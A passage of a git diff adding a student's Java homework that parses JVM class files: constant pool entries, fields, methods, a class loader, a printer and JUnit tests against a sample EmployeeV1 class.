+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/NullConstantInfo.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..05e75bda77
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package week07.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/StringInfo.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..cdc171fbad
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package week07.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/UTF8Info.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..cc8e0e6d66
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package week07.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/field/Field.java b/group01/1814014897/zhouhui/src/week07/jvm/field/Field.java
new file mode 100644
index 0000000000..dc1819f557
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package week07.jvm.field;
+
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.UTF8Info;
+import week07.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/loader/ByteCodeIterator.java b/group01/1814014897/zhouhui/src/week07/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..4585526a3c
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package week07.jvm.loader;
+
+import java.util.Arrays;
+
+import week07.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/loader/ClassFileLoader.java b/group01/1814014897/zhouhui/src/week07/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..98e0194303
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package week07.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import week07.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/loader/ClassFileParser.java b/group01/1814014897/zhouhui/src/week07/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..a9d9de3ea0
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/loader/ClassFileParser.java
@@ -0,0 +1,176 @@
+package week07.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import week07.jvm.loader.ByteCodeIterator;
+import week07.jvm.clz.AccessFlag;
+import week07.jvm.clz.ClassFile;
+import week07.jvm.clz.ClassIndex;
+import week07.jvm.constant.ClassInfo;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.FieldRefInfo;
+import week07.jvm.constant.MethodRefInfo;
+import week07.jvm.constant.NameAndTypeInfo;
+import week07.jvm.constant.NullConstantInfo;
+import week07.jvm.constant.StringInfo;
+import week07.jvm.constant.UTF8Info;
+import week07.jvm.field.Field;
+import week07.jvm.method.Method;
+import week07.jvm.print.ConstantPoolPrinter;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		ClassFile clzFile = new ClassFile();
+
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+		String magicNumber = iter.nextU4ToHexString();
+
+		if (!"cafebabe".equals(magicNumber)) {
+			return null;
+		}
+
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstPool(pool);
+
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+
+		ClassIndex clzIndex = parseClassInfex(iter);
+		clzFile.setClassIndex(clzIndex);
+
+		parseInterfaces(iter);
+
+		parseFields(clzFile, iter);
+
+		parseMethods(clzFile, iter);
+
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		// System.out.println("Is public class: " + flag.isPublicClass());
+		// System.out.println("Is final class : " + flag.isFinalClass());
+
+		return flag;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+
+		ClassIndex clzIndex = new ClassIndex();
+
+		clzIndex.setThisClassIndex(thisClassIndex);
+		clzIndex.setSuperClassIndex(superClassIndex);
+
+		return clzIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		int constPoolCount = iter.nextU2ToInt();
+
+		System.out.println("Constant Pool Count :" + constPoolCount);
+
+		ConstantPool pool = new ConstantPool();
+
+		pool.addConstantInfo(new NullConstantInfo());
+
+		for (int i = 1; i <= constPoolCount - 1; i++) {
+
+			int tag = iter.nextU1toInt();
+
+			if (tag == 7) {
+				// Class Info
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+
+				pool.addConstantInfo(clzInfo);
+			} else if (tag == 1) {
+				// UTF-8 String
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(len);
+				String value = null;
+				try {
+					value = new String(data, "UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+
+				UTF8Info utf8Str = new UTF8Info(pool);
+				utf8Str.setLength(len);
+				utf8Str.setValue(value);
+				pool.addConstantInfo(utf8Str);
+			} else if (tag == 8) {
+				// String
+				StringInfo info = new StringInfo(pool);
+				info.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(info);
+			} else if (tag == 9) {
+				// FieldRef
+				FieldRefInfo field = new FieldRefInfo(pool);
+				field.setClassInfoIndex(iter.nextU2ToInt());
+				field.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(field);
+			} else if (tag == 10) {
+				// MethodRef
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(iter.nextU2ToInt());
+				method.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(method);
+			} else if (tag == 12) {
+				// Name and Type Info
+				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+				nameType.setIndex1(iter.nextU2ToInt());
+				nameType.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameType);
+			} else {
+				throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+			}
+		}
+
+		System.out.println("Finished reading Constant pool ");
+
+		return pool;
+	}
+
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFields(ClassFile clzFile, ByteCodeIterator iter) {
+		int fieldCount = iter.nextU2ToInt();
+		System.out.println("Field count:" + fieldCount);
+		for (int i = 1; i <= fieldCount; i++) {
+			Field f = Field.parse(clzFile.getConstantPool(), iter);
+			clzFile.addField(f);
+		}
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+		int methodCount = iter.nextU2ToInt();
+		System.out.println("Method count:" + methodCount);
+		for (int i = 1; i <= methodCount; i++) {
+			Method m = Method.parse(clzFile, iter);
+			clzFile.addMethod(m);
+		}
+
+	}
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/method/Method.java b/group01/1814014897/zhouhui/src/week07/jvm/method/Method.java
new file mode 100644
index 0000000000..659fb81063
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/method/Method.java
@@ -0,0 +1,101 @@
+package week07.jvm.method;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.cmd.ByteCodeCommand;
+import week07.jvm.method.Method;
+import week07.jvm.attr.AttributeInfo;
+import week07.jvm.attr.CodeAttr;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.UTF8Info;
+import week07.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+	
+		Method m = new Method(clzFile,accessFlag,nameIndex,descIndex);
+		
+		for(int i=1;i<=attribCount;i++){
+			int attrNameIndex = iter.nextU2ToInt();
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			iter.back(2);
+			
+			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				m.setCodeAttr(codeAttr);
+			}else{
+				throw new RuntimeException("only CODE attribute is implemented");
+			}
+		}
+		return m;
+		
+		
+	}
+
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/print/ClassFilePrinter.java b/group01/1814014897/zhouhui/src/week07/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..ab6382b890
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,51 @@
+package week07.jvm.print;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ClassInfo;
+import week07.jvm.constant.ConstantInfo;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.FieldRefInfo;
+import week07.jvm.constant.MethodRefInfo;
+import week07.jvm.constant.NameAndTypeInfo;
+
+import week07.jvm.constant.StringInfo;
+import week07.jvm.constant.UTF8Info;
+import week07.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMajorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+	}
+	
+	public static void main(String[] args){
+		String path = (""+ClassLoader.getSystemResource("")).replaceAll("file:/" , "");
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "week07.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/print/ConstantPoolPrinter.java b/group01/1814014897/zhouhui/src/week07/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..368bb2e8af
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,104 @@
+package week07.jvm.print;
+
+import java.util.Formatter;
+
+import week07.jvm.constant.ClassInfo;
+import week07.jvm.constant.ConstantInfo;
+import week07.jvm.constant.ConstantInfo.Visitor;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.FieldRefInfo;
+import week07.jvm.constant.MethodRefInfo;
+import week07.jvm.constant.NameAndTypeInfo;
+import week07.jvm.constant.StringInfo;
+import week07.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+
+	ConstantPoolPrinter(ConstantPool pool) {
+		this.pool = pool;
+	}
+
+	public void print() {
+
+		System.out.println("Constant Pool:");
+
+		Visitor visitor = new Visitor() {
+
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "Class";
+				String s2 = "#" + info.getUtf8Index();
+				String s3 = "//" + info.getClassName();
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+
+			}
+
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "FieldRef";
+				String s2 = "#" + info.getClassInfoIndex() + ".#" + info.getNameAndTypeIndex();
+				String s3 = "//" + info.getClassName() + "." + info.getFieldName() + ":" + info.getFieldType();
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+
+			}
+
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "MethodRef";
+				String s2 = "#" + info.getClassInfoIndex() + ".#" + info.getNameAndTypeIndex();
+				String s3;
+				if(info.getMethodName().equals("<init>")){
+					s3 = "//" + info.getClassName() + ".\"" + info.getMethodName() + "\":"
+						+ info.getParamAndReturnType();
+				}else{
+					s3 = "//" + info.getClassName() + "." + info.getMethodName() + ":"
+							+ info.getParamAndReturnType();
+				}
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+			}
+
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "NameAndType";
+				String s2 = "#" + info.getIndex1() + ":#" + info.getIndex2();
+				String s3;
+				if (info.getName().equals("<init>")) {
+					s3 = "//" + "\"" + info.getName() + "\"" + ":" + info.getTypeInfo();
+				} else {
+					s3 = "//" + info.getName() + ":" + info.getTypeInfo();
+				}
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+			}
+
+			@Override
+			public void visitString(StringInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "String";
+				String s2 = "#" + info.getIndex();
+				String s3 = "//" + info.toString();
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+
+			}
+
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "Utf8";
+				String s2 = info.getValue();
+				f.format("%-20s %-15s\n", s1, s2);
+			}
+		};
+
+		for (int i = 1; i <= pool.getSize(); i++) {
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.printf("#%-2d = ", i);
+			constantInfo.accept(visitor);
+		}
+
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/test/ClassFileloaderTest.java b/group01/1814014897/zhouhui/src/week07/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..1a15e99610
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,354 @@
+package week07.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.clz.ClassIndex;
+import week07.jvm.cmd.BiPushCmd;
+import week07.jvm.cmd.ByteCodeCommand;
+import week07.jvm.cmd.OneOperandCmd;
+import week07.jvm.cmd.TwoOperandCmd;
+import week07.jvm.constant.ClassInfo;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.MethodRefInfo;
+import week07.jvm.constant.NameAndTypeInfo;
+import week07.jvm.constant.UTF8Info;
+import week07.jvm.field.Field;
+import week07.jvm.loader.ClassFileLoader;
+import week07.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "week07/jvm/test/EmployeeV1";
+	
+	static String path1 = (""+ClassLoader.getSystemResource("")).replaceAll("file:/" , "");
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "week07.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "week07.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1040, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "week07.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
